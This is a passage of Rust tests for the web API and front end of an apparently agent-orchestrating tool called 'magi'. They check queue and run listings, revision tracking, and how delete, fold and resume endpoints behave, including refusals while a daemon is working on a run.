14023 updated["queue_rev"].as_u64(),
14024 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
14025 );
14026 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
14027 let removed = change(&mut stream).await;
14028 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
14029 assert_eq!(
14030 removed["queue_delta"]["removed"],
14031 serde_json::json!([task.id])
14032 );
14033 }
14034
14035 #[tokio::test]
14036 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
14037 let home = TempDir::new().unwrap();
14038 let ui = delta_test_ui(home.path());
14039 let queue = ui.queue.clone();
14040 let query = |ids: Option<&str>| {
14041 Query(ListQuery {
14042 limit: Some(2),
14043 ids: ids.map(str::to_owned),
14044 })
14045 };
14046 let mut root = Task::new(
14047 "root".into(),
14048 "instruction".into(),
14049 PathBuf::from("/repo"),
14050 Source::Human,
14051 );
14052 queue.put(&mut root).unwrap();
14053 let mut blocked = Task::new(
14054 "blocked".into(),
14055 "instruction".into(),
14056 PathBuf::from("/repo"),
14057 Source::Human,
14058 );
14059 blocked.block(vec![root.id.clone()], None);
14060 queue.put(&mut blocked).unwrap();
14061 let whole =
14062 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
14063 .unwrap();
14064 let subset = serde_json::to_value(
14065 queue_list(State(ui.clone()), query(Some(&root.id)))
14066 .await
14067 .unwrap()
14068 .0,
14069 )
14070 .unwrap();
14071 assert_eq!(whole, subset, "requested root plus its blocked dependent");
14072 let blockers = serde_json::to_value(
14073 queue_list(State(ui.clone()), query(Some("")))
14074 .await
14075 .unwrap()
14076 .0,
14077 )
14078 .unwrap();
14079 assert_eq!(blockers.as_array().unwrap().len(), 1);
14080 assert_eq!(blockers[0]["id"], blocked.id);
14081 assert_eq!(
14082 blockers[0]["waits_on"],
14083 whole
14084 .as_array()
14085 .unwrap()
14086 .iter()
14087 .find(|row| row["id"] == blocked.id)
14088 .unwrap()["waits_on"]
14089 );
14090
14091 for id in [
14092 "20260902-140501-aaaa",
14093 "20260902-140502-bbbb",
14094 "20260902-140503-cccc",
14095 ] {
14096 write_run(&ui.runs, id, RunStatus::Merged);
14097 }
14098 let old = serde_json::to_value(
14099 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
14100 .await
14101 .unwrap()
14102 .0,
14103 )
14104 .unwrap();
14105 assert!(
14106 old.as_array().unwrap().is_empty(),
14107 "older updates must not enter the window"
14108 );
14109 let newest = serde_json::to_value(
14110 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
14111 .await
14112 .unwrap()
14113 .0,
14114 )
14115 .unwrap();
14116 assert_eq!(newest.as_array().unwrap().len(), 1);
14117 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
14118
14119 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
14120 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
14121 let talks = serde_json::to_value(
14122 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
14123 .await
14124 .unwrap()
14125 .0,
14126 )
14127 .unwrap();
14128 assert_eq!(talks.as_array().unwrap().len(), 1);
14129 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
14130 assert_eq!(
14131 serde_json::to_value(
14132 talks_list(State(ui.clone()), query(Some("")))
14133 .await
14134 .unwrap()
14135 .0
14136 )
14137 .unwrap(),
14138 serde_json::json!([])
14139 );
14140 }
14141
14142 #[tokio::test]
14143 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
14144 async fn delta_payload_benchmark() {
14145 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
14146 let ui = delta_test_ui(&home);
14147 let query = |ids: Option<String>| {
14148 Query(ListQuery {
14149 limit: Some(50),
14150 ids,
14151 })
14152 };
14153 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
14154 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
14155 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
14156 let queue_id = queue
14157 .iter()
14158 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
14159 .unwrap_or(&queue[0])
14160 .task
14161 .id
14162 .clone();
14163 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
14164 .await
14165 .unwrap()
14166 .0;
14167 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
14168 .await
14169 .unwrap()
14170 .0;
14171 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
14172 .await
14173 .unwrap()
14174 .0;
14175 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
14176 eprintln!(
14177 "DELTA_PAYLOAD {}",
14178 serde_json::json!({
14179 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
14180 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
14181 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
14182 "counts": [queue.len(), runs.len(), talks.len()],
14183 "blocked": queue_delta.len() - 1,
14184 })
14185 );
14186 }
14187
14188 #[test]
14189 fn runs_revision_moves_when_deleting_an_older_run() {
14190 let temp = TempDir::new().expect("tempdir");
14191 let runs = temp.path().join("runs");
14192 std::fs::create_dir_all(&runs).expect("create runs dir");
14193
14194 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
14195
14196 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
14197 std::thread::sleep(Duration::from_millis(10));
14198 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
14199
14200 let rev_before = runs_revision(&runs);
14201 assert!(rev_before > 0);
14202
14203 let old_dir = runs.join("20260901-100000-old1");
14204 std::fs::remove_dir_all(&old_dir).expect("remove old run");
14205
14206 let rev_after = runs_revision(&runs);
14207 assert_ne!(
14208 rev_before, rev_after,
14209 "deleting an older run must change the revision so other clients see the deletion"
14210 );
14211 }
14212
14213 fn write_state(runs: &FsPath, state: &RunState) {
14218 let dir = runs.join(&state.id);
14219 std::fs::create_dir_all(&dir).expect("run dir");
14220 std::fs::write(
14221 dir.join("run.json"),
14222 serde_json::to_string_pretty(state).expect("serialize run"),
14223 )
14224 .expect("write run.json");
14225 }
14226
14227 #[test]
14232 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
14233 let temp = TempDir::new().expect("tempdir");
14234 let runs = temp.path().join("runs");
14235 std::fs::create_dir_all(&runs).expect("create runs dir");
14236 let mut state = RunState::new(
14237 PathBuf::from("/repo/magi"),
14238 "main".to_owned(),
14239 "0123456789abcdef".to_owned(),
14240 "task".to_owned(),
14241 Config::default(),
14242 );
14243 state.id = "20260902-100000-c0de".to_owned();
14244 write_state(&runs, &state);
14245
14246 let rev_idle = runs_revision(&runs);
14247 std::thread::sleep(Duration::from_millis(10));
14248 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
14249 write_state(&runs, &state);
14250 let rev_started = runs_revision(&runs);
14251 assert_ne!(
14252 rev_idle, rev_started,
14253 "a seat starting must move the revision"
14254 );
14255
14256 std::thread::sleep(Duration::from_millis(10));
14257 state.seat_finished("judge-1");
14258 write_state(&runs, &state);
14259 let rev_finished = runs_revision(&runs);
14260 assert_ne!(
14261 rev_started, rev_finished,
14262 "and clearing it again must move the revision a second time"
14263 );
14264 }
14265
14266 #[tokio::test]
14267 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
14268 let fx = Fixture::start().await;
14273 let q = fx.queue();
14274
14275 let mut t = Task::new(
14276 "Task".to_owned(),
14277 "Instruction".to_owned(),
14278 PathBuf::from("/repo"),
14279 Source::Human,
14280 );
14281 t.block(
14282 vec!["20260101-000000-dead".to_owned()],
14283 Some("waiting on Task 1".to_owned()),
14284 );
14285 t.answers.push(crate::queue::AnsweredQuestion {
14286 question: "Which backend?".to_owned(),
14287 answer: "SQLite".to_owned(),
14288 });
14289 q.put(&mut t).expect("put t");
14290
14291 let res = fx.get("/api/queue").await;
14292 assert_eq!(res.status, 200);
14293 let list = res.json();
14294 let view = list
14295 .as_array()
14296 .expect("array")
14297 .iter()
14298 .find(|v| v["id"] == t.id)
14299 .expect("task in list");
14300 assert_eq!(view["status_str"], "blocked");
14301 assert_eq!(
14302 view["blocked_by"],
14303 serde_json::json!(["20260101-000000-dead"])
14304 );
14305 assert_eq!(view["block_reason"], "waiting on Task 1");
14306 assert_eq!(view["answers"][0]["question"], "Which backend?");
14307 assert_eq!(view["answers"][0]["answer"], "SQLite");
14308
14309 let res = fx
14313 .post(&format!("/api/queue/{}/hold", t.short()), None)
14314 .await;
14315 assert_eq!(res.status, 200);
14316 let held = res.json();
14317 assert_eq!(held["status_str"], "held");
14318 assert_eq!(held["blocked_by"], serde_json::json!([]));
14319 assert!(held["block_reason"].is_null());
14320 assert_eq!(held["answers"][0]["answer"], "SQLite");
14321 }
14322
14323 #[tokio::test]
14324 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
14325 let fx = Fixture::start().await;
14326 let q = fx.queue();
14327 let mk = |title: &str| {
14328 Task::new(
14329 title.to_owned(),
14330 "Instruction".to_owned(),
14331 PathBuf::from("/repo"),
14332 Source::Human,
14333 )
14334 };
14335 let mut root = mk("root");
14336 root.hold_manual(Some("waiting".to_owned()));
14337 q.put(&mut root).unwrap();
14338 let mut mid = mk("mid");
14339 mid.block(vec![root.id.clone()], None);
14340 q.put(&mut mid).unwrap();
14341 let mut leaf = mk("leaf");
14342 leaf.block(vec![mid.id.clone()], None);
14343 q.put(&mut leaf).unwrap();
14344
14345 let list = fx.get("/api/queue").await.json();
14346 let find = |id: &str| {
14347 list.as_array()
14348 .unwrap()
14349 .iter()
14350 .find(|v| v["id"] == id)
14351 .unwrap()
14352 .clone()
14353 };
14354 let leaf_view = find(&leaf.id);
14355 assert_eq!(
14356 leaf_view["waits_on"],
14357 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
14358 );
14359 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
14360 assert_eq!(
14361 find(&mid.id)["waits_on"],
14362 serde_json::json!([format!("{} (held)", root.short())])
14363 );
14364 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
14365 }
14366
14367 #[tokio::test]
14368 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
14369 let fx = Fixture::start().await;
14370 let q = fx.queue();
14371
14372 let mut t1 = Task::new(
14374 "Task 1".to_owned(),
14375 "Instruction 1".to_owned(),
14376 PathBuf::from("/repo"),
14377 Source::Human,
14378 );
14379 let run_id = "20260901-000000-r111";
14380 t1.runs.push(run_id.to_owned());
14381 write_run(&fx.runs(), run_id, RunStatus::Merged);
14382 q.put(&mut t1).expect("put t1");
14383
14384 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
14386 assert_eq!(res.status, 204);
14387 assert!(res.body.is_empty(), "204 No Content has no body");
14388 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
14389 assert!(
14390 fx.runs().join(run_id).exists(),
14391 "run directory must not be deleted when its task is deleted"
14392 );
14393
14394 let mut t2 = Task::new(
14396 "Task 2".to_owned(),
14397 "Instruction 2".to_owned(),
14398 PathBuf::from("/repo"),
14399 Source::Human,
14400 );
14401 t2.status = TaskStatus::Running;
14402 q.put(&mut t2).expect("put t2");
14403 let mut beat = crate::daemon::Status::new();
14404 beat.current = vec![crate::daemon::Current {
14405 task: t2.id.clone(),
14406 run: "20260901-000000-r222".to_owned(),
14407 }];
14408 beat.updated_at = jiff::Timestamp::now();
14409 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14410 .expect("publish a heartbeat");
14411 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
14412 assert_eq!(res.status, 409);
14413 assert!(
14414 res.json()["error"]
14415 .as_str()
14416 .unwrap()
14417 .contains("live daemon")
14418 );
14419 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
14420
14421 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
14427 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14428 .expect("leave a stale heartbeat");
14429 let mut t3 = Task::new(
14430 "Task 3".to_owned(),
14431 "Instruction 3".to_owned(),
14432 PathBuf::from("/repo"),
14433 Source::Human,
14434 );
14435 t3.status = TaskStatus::Running;
14436 q.put(&mut t3).expect("put t3");
14437 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
14438 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
14439 assert_eq!(res.status, 204);
14440 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
14441 assert!(
14442 q.claim(&t3.id).is_ok(),
14443 "the stale lock went with it, so the id is claimable again"
14444 );
14445
14446 let res = fx.delete("/api/queue/nonexistent").await;
14448 assert_eq!(res.status, 404);
14449 }
14450
14451 #[tokio::test]
14452 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
14453 let fx = Fixture::start().await;
14454 let runs = fx.runs();
14455
14456 let run_id = "20260901-000000-fold";
14458 let mut state = RunState::new(
14459 PathBuf::from("/repo"),
14460 "main".to_owned(),
14461 "abc".to_owned(),
14462 "instruction".to_owned(),
14463 Config::default(),
14464 );
14465 state.id = run_id.to_owned();
14466 state.status = RunStatus::Merged;
14467 state.candidates.push(crate::run::Candidate {
14468 index: 0,
14469 label: 'A',
14470 agent: "a".to_owned(),
14471 branch: "b".to_owned(),
14472 worktree: PathBuf::from("/w"),
14473 summary: String::new(),
14474 stat: String::new(),
14475 files: 1,
14476 commits: 1,
14477 empty: false,
14478 failed: None,
14479 verified_noop: None,
14480 duration_ms: 0,
14481 folded: true,
14482 });
14483 let dir = runs.join(run_id);
14484 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
14485 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
14486 .expect("write artifact");
14487 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
14488 .expect("write run.json");
14489
14490 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
14492 assert_eq!(res.status, 204);
14493 assert!(res.body.is_empty(), "204 has no body");
14494 assert!(!dir.exists(), "run directory and artifacts must be deleted");
14495
14496 let run_running = "20260901-000000-rung";
14501 write_run(&runs, run_running, RunStatus::Prep);
14502 let mut beat = crate::daemon::Status::new();
14503 beat.current = vec![crate::daemon::Current {
14504 task: "20260901-000000-task".to_owned(),
14505 run: run_running.to_owned(),
14506 }];
14507 beat.updated_at = jiff::Timestamp::now();
14508 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14509 .expect("publish a heartbeat");
14510 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
14511 assert_eq!(res.status, 409);
14512 assert!(
14513 res.json()["error"]
14514 .as_str()
14515 .unwrap()
14516 .contains("live daemon"),
14517 "the refusal must say who is holding it"
14518 );
14519 assert!(
14520 runs.join(run_running).exists(),
14521 "a run in flight keeps its directory"
14522 );
14523
14524 let run_unfolded = "20260901-000000-unfd";
14526 let mut state2 = RunState::new(
14527 PathBuf::from("/repo"),
14528 "main".to_owned(),
14529 "abc".to_owned(),
14530 "instruction".to_owned(),
14531 Config::default(),
14532 );
14533 state2.id = run_unfolded.to_owned();
14534 state2.status = RunStatus::Ready;
14535 state2.candidates.push(crate::run::Candidate {
14536 index: 0,
14537 label: 'A',
14538 agent: "a".to_owned(),
14539 branch: "b".to_owned(),
14540 worktree: PathBuf::from("/w"),
14541 summary: String::new(),
14542 stat: String::new(),
14543 files: 1,
14544 commits: 1,
14545 empty: false,
14546 failed: None,
14547 verified_noop: None,
14548 duration_ms: 0,
14549 folded: false,
14550 });
14551 let dir2 = runs.join(run_unfolded);
14552 std::fs::create_dir_all(&dir2).expect("create dir2");
14553 std::fs::write(
14554 dir2.join("run.json"),
14555 serde_json::to_string(&state2).unwrap(),
14556 )
14557 .expect("write run.json");
14558
14559 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
14560 assert_eq!(res.status, 409);
14561 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
14562 assert!(dir2.exists(), "unfolded run directory is kept");
14563
14564 let res = fx.delete("/api/runs/nonexistent").await;
14566 assert_eq!(res.status, 404);
14567 }
14568
14569 #[test]
14578 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
14579 let start = APP_JS
14580 .find("function renderStats() {")
14581 .expect("renderStats");
14582 let end = start
14583 + APP_JS[start..]
14584 .find("function statsTile(")
14585 .expect("the next top-level function");
14586 let body = &APP_JS[start..end];
14587
14588 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
14589 let gate_end = gate_start
14590 + body[gate_start..]
14591 .find("}\n renderStatsQueue")
14592 .expect("the gate's own closing brace, right before the unconditional call");
14593 let gated = &body[gate_start..gate_end];
14594
14595 assert_eq!(
14596 body.matches("renderStatsQueue(").count(),
14597 1,
14598 "renderStats must call renderStatsQueue exactly once: {body}"
14599 );
14600 assert!(
14601 !gated.contains("renderStatsQueue"),
14602 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
14603 run-derived panels on an empty run history - the queue panel has to render \
14604 regardless: {gated}"
14605 );
14606 }
14607
14608 #[test]
14609 fn web_ui_delete_contract_in_front_end() {
14610 assert!(APP_JS.contains("deleteRun:"));
14612 assert!(APP_JS.contains("deleteTask:"));
14613
14614 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
14616 ..APP_JS.find("function renderRuns").unwrap()];
14617 assert!(!run_cards_slice.to_lowercase().contains("delete"));
14618
14619 assert!(APP_JS.contains("renderRunDelete"));
14621 assert!(APP_JS.contains("runDeleteReason"));
14622 assert!(APP_JS.contains("magi fold"));
14623 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
14624
14625 assert!(APP_JS.contains("cancel.focus"));
14627 assert!(APP_JS.contains("armedRunDelete"));
14628 assert!(APP_JS.contains("renderTaskDeleteBox"));
14629 assert!(APP_JS.contains("armed${cap(key)}"));
14630
14631 assert!(APP_JS.contains("disabled: status === \"running\""));
14633 }
14634
14635 #[test]
14655 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
14656 let build = APP_JS
14657 .find("function createRunCard")
14658 .expect("createRunCard exists");
14659 let update = APP_JS
14660 .find("function updateRunCard")
14661 .expect("updateRunCard exists");
14662 let end = APP_JS
14663 .find("function renderRuns")
14664 .expect("renderRuns exists");
14665
14666 let builder = &APP_JS[build..update];
14668 let open = builder.find("refs = {").expect("createRunCard sets refs");
14669 let literal = &builder[open + "refs = {".len()..];
14670 let close = literal.find('}').expect("the refs literal is closed");
14671 let published: HashSet<&str> = literal[..close]
14672 .split(',')
14673 .filter_map(|entry| entry.split(':').next())
14675 .map(str::trim)
14676 .filter(|name| !name.is_empty())
14677 .collect();
14678 assert!(
14679 published.len() > 5,
14680 "the refs literal did not parse into names: {published:?}"
14681 );
14682
14683 let mut used: Vec<&str> = Vec::new();
14686 let updaters = &APP_JS[update..end];
14687 for (at, _) in updaters.match_indices("r.") {
14688 let before = updaters[..at].chars().next_back();
14691 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
14692 continue;
14693 }
14694 let rest = &updaters[at + 2..];
14695 let len = rest
14696 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
14697 .unwrap_or(rest.len());
14698 if len > 0 {
14699 used.push(&rest[..len]);
14700 }
14701 }
14702 assert!(
14703 used.len() > 5,
14704 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
14705 );
14706
14707 let missing: Vec<&str> = used
14708 .iter()
14709 .copied()
14710 .filter(|name| !published.contains(name))
14711 .collect();
14712 assert!(
14713 missing.is_empty(),
14714 "a run card's updater reaches for {missing:?}, which `createRunCard` \
14715 never put in `refs` - every card will throw and the list will \
14716 render empty under a count line that says otherwise. Published: \
14717 {published:?}"
14718 );
14719 }
14720
14721 #[tokio::test]
14722 async fn folding_from_the_phone_reports_what_it_removed() {
14723 let fx = Fixture::start().await;
14724 let runs = fx.runs();
14725
14726 let id = "20260901-000000-fold";
14730 write_run(&runs, id, RunStatus::Stalled);
14731 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14732 assert_eq!(res.status, 200);
14733 assert_eq!(res.json()["removed_count"], 0);
14734 assert_eq!(res.json()["run"], id);
14735 assert!(
14736 runs.join(id).exists(),
14737 "a fold keeps the run's record; only the worktrees go"
14738 );
14739 }
14740
14741 #[tokio::test]
14742 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
14743 let fx = Fixture::start().await;
14744 let runs = fx.runs();
14745 let wt = fx.home.path().join("wt").join("magi").join("dead");
14746 let id = "20260901-000000-dead";
14747 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14748 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14749 std::fs::create_dir_all(&wt).expect("worktree dir");
14750
14751 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14752 assert_eq!(res.status, 200, "{}", res.body);
14753 assert!(
14754 res.json()["removed_count"].as_u64().unwrap() > 0,
14755 "the worktree this build could not read a state for still went"
14756 );
14757 assert!(
14758 !runs.join(id).exists(),
14759 "an unreadable run has no candidate list to fold selectively, so \
14760 the whole record goes - same as `magi fold` on the CLI"
14761 );
14762 }
14763
14764 #[tokio::test]
14765 async fn deleting_an_unreadable_run_removes_it_wholesale() {
14766 let fx = Fixture::start().await;
14767 let runs = fx.runs();
14768 let wt = fx.home.path().join("wt").join("magi").join("gone");
14769 let id = "20260901-000000-gone";
14770 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14771 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14772 std::fs::create_dir_all(&wt).expect("worktree dir");
14773
14774 let res = fx.delete(&format!("/api/runs/{id}")).await;
14775 assert_eq!(res.status, 204, "{}", res.body);
14776 assert!(!runs.join(id).exists(), "the broken record is gone");
14777 assert!(!wt.exists(), "its worktree is gone too");
14778 }
14779
14780 #[tokio::test]
14781 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14782 let fx = Fixture::start().await;
14783 let runs = fx.runs();
14784 let id = "20260901-000000-live";
14785 write_run(&runs, id, RunStatus::Implementing);
14786
14787 let mut beat = crate::daemon::Status::new();
14788 beat.current = vec![crate::daemon::Current {
14789 task: "20260901-000000-task".to_owned(),
14790 run: id.to_owned(),
14791 }];
14792 beat.updated_at = jiff::Timestamp::now();
14793 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14794 .expect("publish a heartbeat");
14795
14796 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14797 assert_eq!(res.status, 409);
14798 assert!(
14799 res.json()["error"]
14800 .as_str()
14801 .unwrap()
14802 .contains("live daemon"),
14803 "folding under a running agent would pull its worktree away"
14804 );
14805 }
14806
14807 #[tokio::test]
14808 async fn fold_merged_requires_a_pr_url() {
14809 let fx = Fixture::start().await;
14810 let runs = fx.runs();
14811 let id = "20260901-000000-nourl";
14812 write_run(&runs, id, RunStatus::Blocked);
14813
14814 let res = fx
14815 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14816 .await;
14817 assert_eq!(res.status, 400, "{}", res.body);
14818
14819 let blank = fx
14820 .post(
14821 &format!("/api/runs/{id}/fold-merged"),
14822 Some(r#"{"pr_url":" "}"#),
14823 )
14824 .await;
14825 assert_eq!(blank.status, 400, "{}", blank.body);
14826 }
14827
14828 #[tokio::test]
14829 async fn fold_merged_is_404_for_an_unknown_run() {
14830 let fx = Fixture::start().await;
14831 let res = fx
14832 .post(
14833 "/api/runs/nosuchrun/fold-merged",
14834 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14835 )
14836 .await;
14837 assert_eq!(res.status, 404, "{}", res.body);
14838 }
14839
14840 #[tokio::test]
14841 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14842 let fx = Fixture::start().await;
14843 let runs = fx.runs();
14844 let id = "20260901-000000-livemerge";
14845 write_run(&runs, id, RunStatus::Blocked);
14846
14847 let mut beat = crate::daemon::Status::new();
14848 beat.current = vec![crate::daemon::Current {
14849 task: "20260901-000000-task".to_owned(),
14850 run: id.to_owned(),
14851 }];
14852 beat.updated_at = jiff::Timestamp::now();
14853 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14854 .expect("publish a heartbeat");
14855
14856 let res = fx
14857 .post(
14858 &format!("/api/runs/{id}/fold-merged"),
14859 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14860 )
14861 .await;
14862 assert_eq!(res.status, 409, "{}", res.body);
14863 assert!(
14864 res.json()["error"]
14865 .as_str()
14866 .unwrap()
14867 .contains("live daemon"),
14868 "correcting a run's merge underneath a running agent would race \
14869 whatever it is doing to the same `status`/`merge` fields"
14870 );
14871 }
14872
14873 #[tokio::test]
14878 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14879 let fx = Fixture::start().await;
14880 let runs = fx.runs();
14881 let id = "20260901-000000-unconfirmed";
14882 write_run(&runs, id, RunStatus::Blocked);
14883
14884 let res = fx
14885 .post(
14886 &format!("/api/runs/{id}/fold-merged"),
14887 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14888 )
14889 .await;
14890 assert_eq!(res.status, 400, "{}", res.body);
14891 assert_eq!(
14892 read_run(&runs, id).unwrap().status,
14893 RunStatus::Blocked,
14894 "a pull request that could not be confirmed merged must leave \
14895 the run exactly where it was"
14896 );
14897 }
14898
14899 #[tokio::test]
14900 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14901 let fx = Fixture::start().await;
14902 let runs = fx.runs();
14903
14904 for (status, word) in [
14910 (RunStatus::Merged, "merged"),
14911 (RunStatus::Ready, "ready"),
14912 (RunStatus::Failed, "failed"),
14913 ] {
14914 let id = format!("20260901-000000-{}", &word[..4]);
14915 write_run(&runs, &id, status);
14916 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14917 assert_eq!(res.status, 409, "{word} must not be resumable");
14918 let err = res.json()["error"].as_str().unwrap().to_owned();
14919 assert!(err.contains(word), "the refusal names the status: {err}");
14920 }
14921
14922 let mid = "20260901-000000-midf";
14927 write_run(&runs, mid, RunStatus::Reviewing);
14928 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14929 assert_eq!(res.status, 202, "an interrupted run is resumable");
14930 }
14931
14932 #[tokio::test]
14933 async fn resume_is_refused_while_the_loop_is_running() {
14934 let fx = Fixture::start().await;
14935 let runs = fx.runs();
14936 let stalled = "20260901-000000-stal";
14937 write_run(&runs, stalled, RunStatus::Stalled);
14938
14939 let mut beat = crate::daemon::Status::new();
14943 beat.current = vec![crate::daemon::Current {
14944 task: "20260901-000000-task".to_owned(),
14945 run: "20260901-000000-othr".to_owned(),
14946 }];
14947 beat.updated_at = jiff::Timestamp::now();
14948 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14949 .expect("publish a heartbeat");
14950
14951 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14952 assert_eq!(res.status, 409);
14953 let err = res.json()["error"].as_str().unwrap().to_owned();
14954 assert!(err.contains("othr"), "it names what the loop is on: {err}");
14955 assert!(err.contains("stop it first"), "{err}");
14956 }
14957
14958 #[test]
14959 fn a_run_cannot_be_resumed_twice_at_once() {
14960 let home = TempDir::new().expect("temp home");
14961 let ui = Ui::new(
14962 Queue::at(home.path().join("queue")),
14963 Questions::at(home.path().join("questions")),
14964 Talks::at(home.path().join("talks")),
14965 home.path().join("runs"),
14966 home.path().to_path_buf(),
14967 PathBuf::from("/repo"),
14968 )
14969 .with_worktrees_root(home.path().join("wt"));
14970 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14971 let again = ui.begin_resume("20260901-000000-once");
14972 assert!(again.is_err(), "a second tap must not start a second graph");
14973 drop(first);
14974 assert!(
14975 ui.begin_resume("20260901-000000-once").is_ok(),
14976 "and the claim is released when the attempt ends"
14977 );
14978 }
14979
14980 #[test]
14981 fn talk_thinking_tracks_only_its_held_turn_claim() {
14982 let home = TempDir::new().expect("temp home");
14983 let ui = Ui::new(
14984 Queue::at(home.path().join("queue")),
14985 Questions::at(home.path().join("questions")),
14986 Talks::at(home.path().join("talks")),
14987 home.path().join("runs"),
14988 home.path().to_path_buf(),
14989 PathBuf::from("/repo"),
14990 )
14991 .with_worktrees_root(home.path().join("wt"));
14992 let id = "20260901-000000-once";
14993
14994 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14995 let turn = ui.begin_talk_turn(id).expect("claim turn");
14996 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14997 assert!(
14998 !ui.is_thinking("20260901-000000-other"),
14999 "one talk's turn does not make another talk busy"
15000 );
15001 drop(turn);
15002 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
15003 }
15004
15005 #[test]
15006 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
15007 let home = TempDir::new().expect("temp home");
15008 let talks = Talks::at(home.path().join("talks"));
15009 let ui = Ui::new(
15010 Queue::at(home.path().join("queue")),
15011 Questions::at(home.path().join("questions")),
15012 talks.clone(),
15013 home.path().join("runs"),
15014 home.path().to_path_buf(),
15015 PathBuf::from("/repo"),
15016 )
15017 .with_worktrees_root(home.path().join("wt"));
15018 let id = "20260901-000000-cross";
15019
15020 let other = Talks::at(home.path().join("talks"))
15021 .claim_turn(id)
15022 .expect("claim")
15023 .expect("the other process wins");
